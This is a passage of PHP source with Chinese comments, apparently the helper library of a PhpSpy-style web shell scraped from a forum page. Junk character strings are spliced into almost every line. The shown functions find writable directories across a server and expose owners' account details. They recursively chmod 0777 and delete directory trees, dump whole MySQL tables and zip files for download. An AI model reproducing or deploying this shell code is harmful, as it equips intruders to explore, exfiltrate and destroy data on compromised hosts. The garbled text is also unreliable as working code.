- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
7 P @. X( k6 a) I - }: G% [, ?: c$ X
-
* [- ]* k( P' Z( [. X5 R* S* [ - function getUser($filepath) {
* K7 \* B, B9 c' g/ r5 | - if (function_exists('posix_getpwuid')) {+ [! }6 i3 P2 L8 ?) o! Z5 @* t
- $array = @posix_getpwuid(@fileowner($filepath));
5 y( e8 S' J5 [" q) d; W - if ($array && is_array($array)) {7 l; c6 D) W9 M$ q
- return ' / <a href="#" title="User: '.$array['name'].'
i) r \$ k' a" Z7 N - Passwd: '.$array['passwd'].'9 ^4 p# b4 t% I l* A
- Uid: '.$array['uid'].'
% v/ g- o6 K! A& O7 G( m - gid: '.$array['gid'].'# x/ Q ?/ p# h
- Gecos: '.$array['gecos'].'
' T; o* A6 B, H' {4 M% w) k - Dir: '.$array['dir'].'
- R5 @3 {1 s" {8 N! f - Shell: '.$array['shell'].'">'.$array['name'].'</a>';
2 e! _0 O& O- |+ U - }
N! X$ ~3 d+ q% w - }6 D& o* r8 A; S% R8 E. z
- return '';9 i9 w/ y! r2 h
- }5 u' S: O8 q, r' C& U( s6 @+ X. i
- $ S$ u- j6 N) q1 i3 {: A/ u- R
- // 删除目录0 u6 |5 B G! w
- function deltree($deldir) {
9 ~" {; i h% P! u: o - $mydir=@dir($deldir); % x+ U. N# P/ l2 _: c% g
- while($file=$mydir->read()) {
- d; G! }+ C! d - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
+ w. H0 i" h3 J" i' _2 A8 y. f - @chmod($deldir.'/'.$file,0777);2 n3 A( G3 T8 u) `
- deltree($deldir.'/'.$file); 6 m. B; Y) q* b* f
- }' A3 E; r& y' X- K& b$ d
- if (is_file($deldir.'/'.$file)) {
5 M. d+ W9 n- \5 Q- W - @chmod($deldir.'/'.$file,0777);
; Q+ O' B4 ?% o V - @unlink($deldir.'/'.$file);; u7 ]. H) u% T9 O3 n! D7 ]
- }: y g" f, `: n7 ~7 C) ^; x
- } 7 _- O% b2 x2 u' Y
- $mydir->close(); " s8 H0 c8 W* W: E3 W2 ]/ k
- @chmod($deldir,0777);+ o. O1 K6 g3 m$ @, E+ W7 M! X
- return @rmdir($deldir) ? 1 : 0;
/ r' Z \4 `2 Z, Q3 F* B6 K - }
7 Q/ U. s/ J+ X- o - 0 s# p) }. Y6 f) d
- // 表格行间的背景色替换
/ U$ Z' {4 z. M - function bg() {5 y" {8 P3 i3 G2 x7 r$ M* b
- global $bgc;9 u5 S$ F3 c4 i- k
- return ($bgc++%2==0) ? 'alt1' : 'alt2';
5 t( W4 X0 f& D- E( A. S4 f - }
; R) b( {5 P/ H; Y( F - # `0 t- H* b% q
- // 获取当前的文件系统路径4 P, ?: Y" g! y0 u2 P
- function getPath($scriptpath, $nowpath) {7 W: d2 m1 h# P" _
- if ($nowpath == '.') {
4 I8 C" n: z: ]3 H5 I; M" s; C9 u0 @1 L - $nowpath = $scriptpath;
: @# K! O) V7 F7 m7 s; V1 l: ] - }8 q+ g0 b. A1 p7 o7 B* A
- $nowpath = str_replace('\\', '/', $nowpath);
0 C! x! T4 [# |1 q - $nowpath = str_replace('//', '/', $nowpath);. \. I, O# b; r' x5 A1 q# g# j, ]
- if (substr($nowpath, -1) != '/') {7 q* s. j# ]4 r8 e" S
- $nowpath = $nowpath.'/';
' K4 D4 t0 n# x' R9 x - }. E* }! z0 o9 C# r7 q
- return $nowpath;; e. T. ^3 Q( W' V' ?
- }
* m" E: k1 a; [* A+ j& m" w - ' E1 A/ M8 C; ^" X6 W N/ [: V
- // 获取当前目录的上级目录! \; A7 M( }" \- v( U1 C
- function getUpPath($nowpath) {
2 t+ M; x$ H: F6 _& j! X" b1 n - $pathdb = explode('/', $nowpath);" \- n `1 S. H( P* C, E7 @
- $num = count($pathdb);" E: y0 a# m s( R
- if ($num > 2) {8 }9 |8 U9 `5 |5 i/ A y1 w
- unset($pathdb[$num-1],$pathdb[$num-2]);4 i; h. ~" w+ w7 ]
- }
! m# E5 G& m; L" W1 \9 _ - $uppath = implode('/', $pathdb).'/';
5 I/ b7 I, g+ y) `* Y - $uppath = str_replace('//', '/', $uppath);
r1 A6 p' c2 B1 k( \ - return $uppath;. g7 {: W# D! W& I+ I1 ]: u( ^
- }1 f8 o) k. `- a4 q8 J
- U7 _; q9 C; I" } c8 z+ Y9 f ?
- // 检查PHP配置参数
3 R0 s$ u- Z2 L8 |4 c! b - function getcfg($varname) {6 n7 i; }. J# P$ T3 Z1 o
- $result = get_cfg_var($varname);
0 P. J8 V* w# h5 ] - if ($result == 0) {
* [8 }0 N8 N1 t/ d - return 'No';# _* Y) U9 |8 C% y8 U# f
- } elseif ($result == 1) {% m, F$ I1 Z3 m( y" R) X
- return 'Yes';
" D! }9 o# Y# Y3 C* l- @( \7 e3 m' O - } else {$ w9 A! h1 \ U9 O2 z: s
- return $result;. `$ U3 Z' W. C( X7 {
- }
2 b2 O; c6 D1 s: b' X+ }8 u+ o - }
( ^1 R. |. v2 g$ m- } -
" V" u/ z2 {" W6 J) X; f$ l - // 检查函数情况9 K/ f$ e9 _% @, d$ o' E% _
- function getfun($funName) {
" }2 S: d$ [0 G! t/ e# O - return (false !== function_exists($funName)) ? 'Yes' : 'No';) }3 l( U9 n2 K( }( ^. `* f
- }
1 P- O& R8 ?* G! x9 ` -
7 f7 E3 v+ n& c3 n' x - function GetList($dir){+ {; [ V. i1 B* Q( Q
- global $dirdata,$j,$nowpath;
, p8 G9 b7 Z% ?, l% j - !$j && $j=1;4 }8 T2 n- W2 s' [
- if ($dh = opendir($dir)) {
, m2 m2 v5 n' j; X5 I2 K) X& k - while ($file = readdir($dh)) {" o+ O% a0 L* z) ~4 j$ S
- $f=str_replace('//','/',$dir.'/'.$file);
- L3 H ~$ _; l4 ^. H- m7 L1 d# | - if($file!='.' && $file!='..' && is_dir($f)){- W, i5 Z" f0 z9 q) x6 a
- if (is_writable($f)) {
3 s& O' Q @, L9 \/ r - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
5 ]4 R% U/ V/ W" P) A - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1 w, u# i( f U - $dirdata[$j]['dirchmod']=getChmod($f);
% J- q' l0 e1 S0 `7 [! b - $dirdata[$j]['dirperm']=getPerms($f);7 s. ]9 I" m. ^0 q) D' S0 g, p
- $dirdata[$j]['dirlink']=ue($dir);4 H+ R0 L" t; v& X1 n; A7 H
- $dirdata[$j]['server_link']=$f;' u/ c* p/ ^1 ~: W6 z& k
- $dirdata[$j]['client_link']=ue($f);, L% X2 j. h, z9 U
- $j++;+ {; ^& X- y% V4 B8 H8 T0 E3 r
- }
! T; q2 v L$ N5 a. {: _8 t - GetList($f);$ w5 x; n/ ]& J( Z
- }) S8 W' }4 [ q1 L- P* E
- }9 `) I, O) {1 G
- closedir($dh);
% g6 r* x) {, ~/ G2 S - clearstatcache();" [0 L" j+ j# H H7 [( V9 I" J
- return $dirdata;
L* D4 b- n$ J: E$ k - } else {
, C6 j! P) j: \1 H6 ~' p) t% Z" J# { - return array();
7 M( I+ C* ~( O( ~& K% s - }
6 j4 B5 K1 Y4 F- e. B - }/ j1 [2 C$ s3 j( D2 z
-
/ Y' M' F& a; F! `% z/ d - function qy($sql) { ! n# p, U+ G' a: X+ ]% x
- //echo $sql.'<br>';
$ E$ `/ B3 D% a- d5 G9 r/ R - $res = $error = '';
" O8 T* ]4 ^. `3 {, v - if(!$res = @mysql_query($sql)) {
3 d' j8 Z2 Y2 }1 R; [& u$ @ - return 0;; \7 M6 c! C9 Y- s
- } else if(is_resource($res)) {
, u) I, s3 R( Y' O @ - return 1;
. \$ y; V, F2 x$ P5 i. O9 m - } else {
V; ]& g9 w. q8 k7 d - return 2;
9 U( D3 Z7 }2 _& B - }
+ z3 S4 V. G" E9 O3 s+ U - return 0; A# }( a5 y: x. x( ~; c1 L% l
- }
9 R k! d5 y7 K* L% }6 F9 H( }' Y - ! ~: D/ J8 ~% L- L' I
- function q($sql) { 0 f# B M0 h. U7 H/ A" h" n& o
- return @mysql_query($sql);3 E8 r; ^7 q( W9 a- W+ n
- }
3 f/ H0 I2 z+ V, ~& a4 }7 t -
. l7 |+ D w0 c; `% E& E - function fr($qy){, h; n2 L' U1 C) D4 D5 M6 \3 r. e
- mysql_free_result($qy);" \" }3 F3 T3 G: T1 H1 N6 \
- }- g- \% U* l; ]. h3 U1 I( x" n; D
-
% ^( h, Z6 a# }: m( S - function sizecount($size) {' q6 ~- j# a7 s
- if($size > 1073741824) {
6 y1 v! F, x5 |( e) b& V - $size = round($size / 1073741824 * 100) / 100 . ' G';
6 b/ b) i# d2 j% E - } elseif($size > 1048576) {. a/ ^0 e/ |. q T/ k( f
- $size = round($size / 1048576 * 100) / 100 . ' M';$ B: {3 p( I' {
- } elseif($size > 1024) {+ u: N: f8 z( _4 _# j
- $size = round($size / 1024 * 100) / 100 . ' K';" o5 _% X/ Y. ^* B
- } else {+ O7 z0 a# A: ]. S$ G
- $size = $size . ' B';* @) B$ f1 [, V( [
- }6 J$ X2 B5 W7 l: d" ?
- return $size;
* d! W1 M3 R( u$ T - }: v5 C6 A* e+ }; l \
-
% ?% I+ Y* g0 N/ i) A- Y; G - // 压缩打包类
" N$ z' x% I5 n: Z8 X( t- l - class PHPZip{; B; ~. D& ~/ P* O) d
- var $out='';
# u$ \ c- ]! \4 k- { - function PHPZip($dir) {
& i- j& C% c- M1 g- A - if (@function_exists('gzcompress')) {
1 O; {+ D) L* q" ?; I3 T - $curdir = getcwd();
7 H2 L0 ]5 i$ ]; F1 O4 G I7 | - if (is_array($dir)) $filelist = $dir;
, C! ~0 i, V6 k; ? - else{
2 y' W1 f( ?9 b% D8 Q1 Z5 x - $filelist=$this -> GetFileList($dir);//文件列表! j( L ], R8 v# |1 M
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);. g9 c% L2 g& t1 k' D
- }
?* k1 _% ~1 B% w6 u7 K% ?& d - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);/ l3 j! ?9 @& O- @% Y# D% M
- else chdir($curdir);. Z+ P! [( x( d8 V+ `: G: q
- if (count($filelist)>0){
: N3 V- |; K' w9 Z0 d6 O& F4 H6 \ - foreach($filelist as $filename){; R5 w4 Q. Z: R+ N( [9 y5 x
- if (is_file($filename)){7 u3 i, n+ P, j3 [* A
- $fd = fopen ($filename, 'r');5 P0 f. d% F+ C% B9 u- l; u
- $content = @fread ($fd, filesize($filename));
- f3 I' Q+ ~6 u; p( Q - fclose ($fd);
% S" k% u% R" M0 l2 ]1 M; S - if (is_array($dir)) $filename = basename($filename);* Z k9 i! G0 }' i
- $this -> addFile($content, $filename);
% F6 F1 C; E" ` - }
j9 I2 m/ t# { ` - }- S0 ^, {2 t9 g. T
- $this->out = $this -> file();
' ~5 g6 @9 J/ Q' b1 \ - chdir($curdir);" `: l3 D! ~# X. C
- }$ J/ e1 M, d6 ~1 f4 V
- return 1;+ [: {( U; Q# z' ^
- }
8 H7 o. ~* B5 X# r& h% {. h - else return 0;
/ @, a2 f! g7 @# G; W+ q$ @ - }
% k+ H0 M4 h/ E: r -
7 p, P$ l v9 V - // 获得指定目录文件列表5 v8 l' S2 P1 F2 @0 }& F
- function GetFileList($dir){7 N; j# q- k& m5 T8 c
- static $a;
0 Y+ R% Y) ]( \+ ?, f' O" {- W* Y4 i% F, N' V - if (is_dir($dir)) {
; F* {) O2 }! Q4 t/ C - if ($dh = opendir($dir)) {' W7 v- X! F. v5 g- X) s
- while ($file = readdir($dh)) {
, Q: A) j$ |0 q5 m C3 ] - if($file!='.' && $file!='..'){. o/ M# @3 b8 V! L$ U9 |0 N) i% {
- $f=$dir .'/'. $file;8 s- v4 U1 R: U2 B, }
- if(is_dir($f)) $this->GetFileList($f);
# s: T( s. R; a - $a[]=$f;
# `8 ?5 D# |; A6 y' c - }
3 L q7 k# g5 r - }
5 ]3 d0 l6 |) _+ F; y7 q - closedir($dh);2 _+ R; @% v6 U! h3 c3 k
- }4 A T4 v3 V- J$ [$ u: A; F
- }
) L9 f# D: o6 r - return $a;
( M+ X+ O. [3 N3 H6 R5 Y& |+ r% u. y - }5 s; b: L% j+ t6 n& k9 F) |( l2 m
- / {' E) w8 a; z
- var $datasec = array();, K# ] ~5 ]6 Y, o9 ]: _+ m( f; m8 }
- var $ctrl_dir = array();, e p5 U' j; E
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
5 s3 K% t. r4 O# ? - var $old_offset = 0;
3 g- g) ^7 z8 b2 u) W c: I - 1 B2 Y! U2 X+ D% @$ n+ G- d$ l6 @- l
- function unix2DosTime($unixtime = 0) {
. p8 V0 D" h4 c7 N' i( O - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
- t: a! {" o" x" K: T0 _9 k - if ($timearray['year'] < 1980) {, E) h( Y: p; h* k
- $timearray['year'] = 1980;: v& v+ Z' ?% n
- $timearray['mon'] = 1;& o# X3 n4 }0 D: H3 v- U
- $timearray['mday'] = 1;
6 l C0 m: \8 O4 p - $timearray['hours'] = 0;1 m9 V1 @) l a
- $timearray['minutes'] = 0;
* x% ~, Y" j1 W- X: Q- b0 R - $timearray['seconds'] = 0;
9 X. Z5 l* b' D4 } - } // end if A' r0 ]2 A5 ?
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
0 w5 p2 v0 v7 ` ?9 _ - ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
" b/ ?* n# ~- T1 l4 c! _ - }
8 P2 H7 K, k" q8 ] - function addFile($data, $name, $time = 0) {
- p8 @: T! X* y# M4 K0 D( Z - $name = str_replace('\\', '/', $name);" F# x+ R) ] M. J$ c8 P5 C
- $dtime = dechex($this->unix2DosTime($time));! s, R0 k2 R! Y3 H* {
- $hexdtime = '\x' . $dtime[6] . $dtime[7]: i7 Q) U: _+ ~+ }2 O& u0 x
- . '\x' . $dtime[4] . $dtime[5]8 O8 c/ Z7 U5 |) M/ k
- . '\x' . $dtime[2] . $dtime[3]
, s1 q! o k E; N" d - . '\x' . $dtime[0] . $dtime[1];
5 p* u9 o1 Q1 R - eval('$hexdtime = "' . $hexdtime . '";');
4 r$ e$ v# y, \0 D! M6 D7 } - $fr = "\x50\x4b\x03\x04";7 {2 K) f! ^* W3 T% n
- $fr .= "\x14\x00";" l$ H6 W: Y# l2 s3 U0 h/ c5 d
- $fr .= "\x00\x00";
/ f+ d* F0 W! z9 b [1 C - $fr .= "\x08\x00";
9 ?. b6 j* ^* z2 w7 n M - $fr .= $hexdtime;% z7 p" Q/ K+ {
- $unc_len = strlen($data);
- H+ R) X4 l3 `7 E - $crc = crc32($data);% [ T# q5 i" V9 F" ]# x5 T& m
- $zdata = gzcompress($data);, a% z$ R) j" R7 A
- $c_len = strlen($zdata);
; t; O* ~% O0 m/ F: f; M - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2 W+ G" g& ~, {7 q9 |0 B5 F - $fr .= pack('V', $crc);
# e' o8 }/ `. q( S - $fr .= pack('V', $c_len);% M2 k% `& C! s6 a% W
- $fr .= pack('V', $unc_len);
; _( ~2 ]0 N" P+ j - $fr .= pack('v', strlen($name));! q0 r/ t3 D! H8 v
- $fr .= pack('v', 0);! y5 k4 T7 w: |1 Z P5 G. ~& v
- $fr .= $name;
, a7 x3 B! j* E. d- ~% T1 { - $fr .= $zdata;
# O1 R; ^( X7 [4 ?7 U - $fr .= pack('V', $crc);' p; @! f6 Z; H
- $fr .= pack('V', $c_len);4 B& D: o' U: n; H' X
- $fr .= pack('V', $unc_len); A! Z+ X' o1 a& m
- $this -> datasec[] = $fr;
? z* E8 z- Z# J' |8 ? - $new_offset = strlen(implode('', $this->datasec));: Z: q8 K5 Y2 f6 _: s7 _
- $cdrec = "\x50\x4b\x01\x02";
( Y; e( Q0 ?0 V$ X1 | - $cdrec .= "\x00\x00";
- i* F# w! r1 k6 j' S4 z - $cdrec .= "\x14\x00";* Q3 |7 L; I" q( F% G$ U
- $cdrec .= "\x00\x00";
) R" x. _) P9 M3 {- R+ } - $cdrec .= "\x08\x00";+ [, v/ d, G! _
- $cdrec .= $hexdtime;% Y" k. u* p2 a g- C
- $cdrec .= pack('V', $crc);
3 ^* ~2 T. L; { `: j! N) s" A - $cdrec .= pack('V', $c_len);
# @: ] k( n% k% k$ t - $cdrec .= pack('V', $unc_len);, f& P* e0 J1 L2 B7 g0 E
- $cdrec .= pack('v', strlen($name) );
7 w* ~8 y. d; G8 X7 H* d - $cdrec .= pack('v', 0 );
1 D( w0 j" z9 p( w+ T9 ~8 X; p - $cdrec .= pack('v', 0 );4 p* W3 ^! M( u r6 W; }0 N
- $cdrec .= pack('v', 0 );( N& u; o- z& Z) q- ]
- $cdrec .= pack('v', 0 );! q2 F g( y# \# I! z# b" g# X
- $cdrec .= pack('V', 32 );8 T5 [7 K+ [7 h/ d# ? e( D
- $cdrec .= pack('V', $this -> old_offset );
% ? m# h& K$ K1 Y% ] - $this -> old_offset = $new_offset;
5 @6 n3 H. B% I2 |9 A$ A! ?5 N - $cdrec .= $name;
- k& k0 t7 P( J! I" w3 F" \2 Y, t/ a - $this -> ctrl_dir[] = $cdrec;
/ k. ^- T; e! |) R, ?3 ` - }0 Q' R- e9 p) T' i; _
- function file() {2 A# ]9 Z; Y* q- A3 u0 A
- $data = implode('', $this -> datasec);8 }6 Q$ J& J8 Z: B1 a0 R* f
- $ctrldir = implode('', $this -> ctrl_dir);) {, s: u5 |. Z) g9 t: S
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
. t( M8 H# d4 ^" K8 \' X! V - }5 n2 C! D+ X/ b; D5 ^' J" L
- }8 W; _/ \" |- L9 O4 @
- // 备份数据库; c# M! v! t# R" H9 M9 e( T
- function sqldumptable($table, $fp=0) { _1 k$ j3 d' o0 e7 A: F: Q
- $tabledump = "DROP TABLE IF EXISTS $table;\n";
$ I$ I) r; f, z6 K8 s6 M: h1 |7 I2 u - $tabledump .= "CREATE TABLE $table (\n"; u) b! N8 x2 o- A9 t: S$ m- u, S
- $firstfield=1;$ Y3 } M: x9 r$ G1 E7 I
- $fields = q("SHOW FIELDS FROM $table");/ n4 O) }$ x% S) U n; m% a4 L
- while ($field = mysql_fetch_array($fields)) {
; E: N0 I) M' ]8 |# o2 K( C; ? - if (!$firstfield) {
4 C5 `! h o9 }) E6 Z( I - $tabledump .= ",\n";
% I- C# `( n; _1 { - } else {3 S9 V# m6 ]4 R% L G9 z: ^% `
- $firstfield=0;
1 h7 ~2 g: B" d% y8 g - }+ U' j o7 q0 b. H- a$ u
- $tabledump .= " $field[Field] $field[Type]";
E0 l9 w* G& B) G. a% P7 Q0 o8 q - if (!empty($field["Default"])) {
% n/ Y4 I3 Y/ q! p8 Z - $tabledump .= " DEFAULT '$field[Default]'";* N( B/ z3 O& L/ V# C- L7 p
- }" y# G: S/ g+ S8 s
- if ($field['Null'] != "YES") {8 Q$ l/ P7 g" V4 v* @
- $tabledump .= " NOT NULL";* P0 x) n7 C2 I V7 n
- }
* O' M7 M K/ E; } - if ($field['Extra'] != "") {
9 q- L# J' a# J' m$ n. d - $tabledump .= " $field[Extra]";
, ~) j D. O o8 {6 t - }; n. I# `4 I5 f8 V9 |% H
- }
; n- B- m7 F* L {, k - fr($fields);* f! M, G& S: ]( T% O
- $keys = q("SHOW KEYS FROM $table");
: b0 }( M$ q" x" s- y - while ($key = mysql_fetch_array($keys)) {
6 a+ z: a$ g1 n - $kname=$key['Key_name'];
: I2 y5 K0 r; A2 J, X$ d - if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
0 Y4 R7 U( M3 ] - $kname="UNIQUE|$kname";
5 ]) j- H. G# c" V - }
4 L9 f* t6 y& X( i- }& f. O - if(!is_array($index[$kname])) {
e' D! U) ], V2 ] - $index[$kname] = array();
( o7 p9 d( {% S* W: r3 ]/ l - }
; b3 p& P; A- T7 g+ ^! N( }7 b4 _' m - $index[$kname][] = $key['Column_name'];
$ M. K5 N5 x4 R8 I- ? - }5 ~9 l5 l* a6 u) `
- fr($keys);5 w' d* d* h% ~1 l; w9 ^. v
- while(list($kname, $columns) = @each($index)) {( u9 y6 o; p8 x+ U2 z. i7 p0 p
- $tabledump .= ",\n";# s7 ^8 j) T# W- Z9 j% w
- $colnames=implode($columns,",");
* r- Q& } S0 l% T% k - if ($kname == "PRIMARY") {
2 Z5 h5 @; E( u6 Q7 V7 Z" T - $tabledump .= " PRIMARY KEY ($colnames)";% b7 {0 p8 I2 o& |/ v5 i
- } else {
; P3 {7 z- T$ Q8 K9 | - if (substr($kname,0,6) == "UNIQUE") {4 J- S/ ]% e4 B5 h) i
- $kname=substr($kname,7);9 b! W3 \) r2 f# N0 I: |! r
- }- [# z8 S) I5 J4 p$ r; Q
- $tabledump .= " KEY $kname ($colnames)";: U) ~# A$ ^; J# ~3 e( }, l
- }
' `+ V$ ^$ |! c. c$ w( A& J - }
& M! v# m8 j1 |5 d1 Y/ L - $tabledump .= "\n);\n\n";
% R. j& f1 ?% |9 \. I - if ($fp) {+ b5 }4 A/ g% ^" W1 o* z
- fwrite($fp,$tabledump);
/ G% l$ A* a! Y6 j - } else { I9 ?% b2 [& h1 D0 V1 k
- echo $tabledump;) n" h- m0 R2 @ S7 l
- }
- U4 E& L% j1 y6 Z+ D- E - $rows = q("SELECT * FROM $table");/ h# p3 c& P% b! Q
- $numfields = mysql_num_fields($rows);
0 N9 n7 b7 D0 L* S2 m3 F - while ($row = mysql_fetch_array($rows)) {
3 _/ L" B- U. s0 A - $tabledump = "INSERT INTO $table VALUES(";% k* c, ~+ q- M- r
- $fieldcounter=-1;1 [( S) n$ f. L, R: T
- $firstfield=1;
5 t% t9 N2 J/ R4 b+ d1 ]% _ - while (++$fieldcounter<$numfields) {
5 w- T' J9 k0 T7 M, N5 v - if (!$firstfield) {
9 e2 u) ?, D" r' y6 w2 u) P8 r - $tabledump.=", ";0 v6 J5 G8 e: E! b p! c1 `! l- Z
- } else {) M x3 r3 w% N# U' q
- $firstfield=0;
9 T& t7 a! E. R- G P - }) H5 W! U1 y8 v0 j
- if (!isset($row[$fieldcounter])) {+ ^. e7 l$ n3 W& M8 ?
- $tabledump .= "NULL";
. q# h7 b% f" n1 l - } else {8 G9 d. B% F- D7 t3 ?
- $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
+ w0 {3 g6 g6 J; s- h& C - }7 y) g6 T& r0 s" }) b% a
- }
$ m+ {& y, d$ q; T6 | - $tabledump .= ");\n";% q+ \: }7 I+ \8 b0 p5 i/ _1 s
- if ($fp) {
% n. | M5 a; [% R, i - fwrite($fp,$tabledump);; x" k# O! }# B8 v: @
- } else {
* h) M: ~$ s: H5 X7 D4 ~6 w7 U/ O - echo $tabledump;% D( A# D6 T l* M5 } [/ z
- }
5 u- S7 c$ X0 _( B - }, a/ G! `" G' M2 T( Y! ?
- fr($rows);
* a% ?2 b$ z7 R$ q T& d( ?; Y0 Z4 U - if ($fp) {; A5 R: q2 w& q/ N
- fwrite($fp,"\n"); J! |$ e$ Y' K2 z+ E0 ?
- } else {
3 n) p3 f! W# f. H1 l2 J6 _8 I - echo "\n";; y6 y6 J0 T- S% B$ y6 u- p
- }5 J4 T, ^/ w& Z* o# Y: `! c0 l
- }8 M" b, ]4 g1 \/ p- g
- function ue($str){, G: I _) ? m+ o# e( ^
- return urlencode($str);
2 o, @+ [, Q1 N/ p7 m2 e - }
1 e# D6 t; C! w' |: K - function p($str){, w# G8 o1 `0 P0 j$ R% h
- echo $str."\n";" `) a; \" o4 L- r* P/ Q
- }
% J9 f/ I: E; j: s. |5 O - function tbhead() {0 } M. p+ D2 f/ O$ x) ~9 t( d
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
% c) u# U" B! B/ P: J4 [ - }
0 h2 f# y5 K$ @' \; _' q4 | - function tbfoot(){3 v" t- P4 Z# c' |! Z% L2 R! ^6 ]
- p('</table>');
: ?; Z9 j$ B. O2 ^4 y1 n4 D - }
, O) f' U* N' N/ k - function makehide($name,$value=''){/ P2 ?( s# t |1 ]- P* |2 _: v9 ~
- p("<input id="$name" type="hidden" name="$name" value="$value" />");
" z4 E/ x9 n1 F9 f4 K" T" ~0 i - }
+ u% g$ T3 K0 s- s# X* H3 W' { - function makeinput($arg = array()){
) C# d2 K W0 J5 ]" B - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
1 [( t" e; y$ V5 I, e) x2 r6 c- h - $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';% `4 B; E0 H5 G0 ] J
- !$arg['type'] && $arg['type'] = 'text';3 M i: @, I/ Z, j$ @0 [. T) |; [
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
, Q5 i: o, b; l+ T% r - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
; t* K" d+ f5 p* ]1 q& V7 w - if ($arg['newline']) {1 r% W2 _5 ~! Z k8 b
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");3 R1 n1 o9 O1 Z8 ?
- } else {
4 g, O% R1 u* x } - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");( ~, P8 O" Z9 F: m3 V5 S
- }
5 r9 t! b T: {) L: {; M6 _. Z% `8 x- w - } {- x( J& W* ]/ L
- function makeselect($arg = array()){
! ~0 R& r; k& i% b, R v - if ($arg['onchange']) {: E* N" R* F6 D R3 u, Z5 F1 G
- $onchange = 'onchange="'.$arg['onchange'].'"';
O3 \/ _7 T- |) Q - }# S6 j+ v" n; [8 @) }4 |/ K
- $arg['title'] = $arg['title'] ? $arg['title'] : '';+ R2 o; J# j3 `, N0 l# s1 Q; |3 z
- if ($arg['newline']) p('<p>');
7 i; G' _0 Q" `+ J0 ^- }' d - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
, t2 D( O! O) G* Z+ j$ H - if (is_array($arg['option'])) {
' e% d2 G3 K5 S4 H- F - foreach ($arg['option'] as $key=>$value) {4 N% [) G+ c0 ^1 t
- if ($arg['selected']==$key) {) A# F A4 E6 r' `# V
- p("<option value="$key" selected>$value</option>");
0 m' }5 y* R: q$ r% Q - } else {
4 ^- e8 H5 m, `( I - p("<option value="$key">$value</option>");5 F" D3 b8 r: O; {" ~5 S
- }
( |: J! P+ S8 i, n - }% [1 o( C* n% D# z: E) R' F- j
- }
! v, ~4 n( W$ h - p("</select>");
9 R! R! g1 f/ {: f; M - if ($arg['newline']) p('</p>');- f3 I" m" s; k6 E( |) ^, X, A: m
- }
# n5 K+ |. i* v+ `8 B4 g( P - function formhead($arg = array()) {
1 Z- K6 Z3 A1 L" H - !$arg['method'] && $arg['method'] = 'post';
! S; `5 ]4 d6 b% ~0 z" [7 J5 d; @ - !$arg['action'] && $arg['action'] = $self;. y6 h. \/ O% S7 l3 U
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
5 o, x% D2 I5 z7 ~ - !$arg['name'] && $arg['name'] = 'form1';
1 I3 k/ O0 g7 r# `+ | - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");( q9 m4 F( {' {7 t9 o* A) C
- if ($arg['title']) {& M) w' ?5 K6 K4 ^! a' W, V
- p('<h2>'.$arg['title'].' »</h2>');7 ~ W* J1 B0 g& @4 ?3 O+ i
- }. z3 f, X( U6 P+ j! o6 T
- }, e: {! f) [) I" B0 F7 ?0 L4 `
-
, A& [2 T/ i" c. S) c - function maketext($arg = array()){( y& ^- A+ E! u
- !$arg['cols'] && $arg['cols'] = 100;
; z2 ~. c3 P- W. A* g - !$arg['rows'] && $arg['rows'] = 25;
6 ^: a+ n) @* N - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';% G& b, B- w6 Q* g$ Q5 [# ~, T
- p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");9 m' l) l( u* v, `0 [/ J7 p
- }$ n: V5 H W$ Z0 N; q' K
-
- {+ p# o/ J8 O9 k R. s - function formfooter($name = ''){5 V$ A7 t: b1 G+ I2 `, ]' o
- !$name && $name = 'submit';
) F3 r; L- m; c3 y - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');4 d! C2 \1 J; d3 w' m7 m' m
- p('</form>');$ l) a& T( g0 ~0 x
- }' ?% W; m9 l3 R! X/ Z
-
$ N* Z, R4 p/ [2 B - function formfoot(){
! G+ T: L" n% X: I+ o" q - p('</form>');
* p4 b p" L8 g0 Z* v - }
7 [9 n. o' o' H6 P( Z! M5 | b - # p. r" e4 _1 Z7 A# g$ E1 Y1 ~% J
- // 调试函数- e: I5 A0 E" g! s K1 R
- function pr($a) {% A# ^) [- @5 }( N6 M
- echo '<pre>';
9 [3 X6 {% c! O8 I H$ `# B$ Y - print_r($a);
2 n- L- W* @4 }4 H" t- D3 l3 B - echo '</pre>';
# B. ?% B: V5 |' }0 m8 K2 M; N - }2 M; P" [$ C% e p1 l$ I
- : e5 R8 @1 L6 Y% v7 O. i( m
- ?>
